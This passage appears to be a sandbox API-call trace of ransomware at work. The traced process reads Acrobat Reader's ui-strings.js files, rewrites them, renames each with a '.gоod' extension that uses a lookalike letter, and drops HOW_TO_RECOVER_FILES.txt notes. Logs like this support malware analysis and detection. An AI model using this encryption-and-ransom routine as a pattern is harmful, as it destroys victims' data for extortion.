lpOldMode=0x208ebf90) returned 1 [0268.743] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\ui-strings.js.gоod")) returned 1 [0268.743] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0268.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0268.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0268.926] GetFileType (hFile=0x808) returned 0x1 [0268.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0268.926] GetFileType (hFile=0x808) returned 0x1 [0269.033] WriteFile (in: hFile=0x808, lpBuffer=0x37568c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x37568c0*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0269.119] CloseHandle (hObject=0x808) returned 1 [0269.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0269.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no", lpFilePart=0x0) returned 0x76 [0269.119] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0269.120] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.120] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.121] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0269.121] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0269.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0269.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0269.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0269.121] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no", lpFilePart=0x0) returned 0x76 [0269.121] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0269.121] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.121] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.121] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0269.122] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0269.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0269.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0269.122] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0269.122] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3838be0 | out: lpFileInformation=0x3838be0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46a)) returned 1 [0269.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0269.122] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0269.122] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0269.122] GetFileType (hFile=0x808) returned 0x1 [0269.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0269.122] GetFileType (hFile=0x808) returned 0x1 [0269.122] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x46a [0269.123] ReadFile (in: hFile=0x808, lpBuffer=0x38393f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x38393f8*, lpNumberOfBytesRead=0x208ebf98*=0x46a, lpOverlapped=0x0) returned 1 [0269.124] CloseHandle (hObject=0x808) returned 1 [0269.150] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0269.150] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0269.151] GetFileType (hFile=0x808) returned 0x1 [0269.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0269.151] GetFileType (hFile=0x808) returned 0x1 [0269.151] WriteFile (in: hFile=0x808, lpBuffer=0x38b2018*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x38b2018*, lpNumberOfBytesWritten=0x208ebea8*=0x470, lpOverlapped=0x0) returned 1 [0269.151] CloseHandle (hObject=0x808) returned 1 [0269.151] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.152] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0269.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0269.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9ca4cede, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x470)) returned 1 [0269.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0269.152] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\ui-strings.js.gоod")) returned 1 [0269.153] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0269.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0269.153] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x89c [0269.332] GetFileType (hFile=0x89c) returned 0x1 [0269.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0269.332] GetFileType (hFile=0x89c) returned 0x1 [0269.334] WriteFile (in: hFile=0x89c, lpBuffer=0x374e370*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x374e370*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0269.334] CloseHandle (hObject=0x89c) returned 1 [0269.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0269.334] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl", lpFilePart=0x0) returned 0x76 [0269.391] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0269.425] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.426] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.426] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0269.426] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0269.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0269.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0269.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0269.426] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl", lpFilePart=0x0) returned 0x76 [0269.426] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0269.426] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.427] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.427] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0269.427] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0269.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0269.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0269.427] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0269.427] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38b9fa0 | out: lpFileInformation=0x38b9fa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f)) returned 1 [0269.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0269.427] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0269.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0269.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0269.428] GetFileType (hFile=0x824) returned 0x1 [0269.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 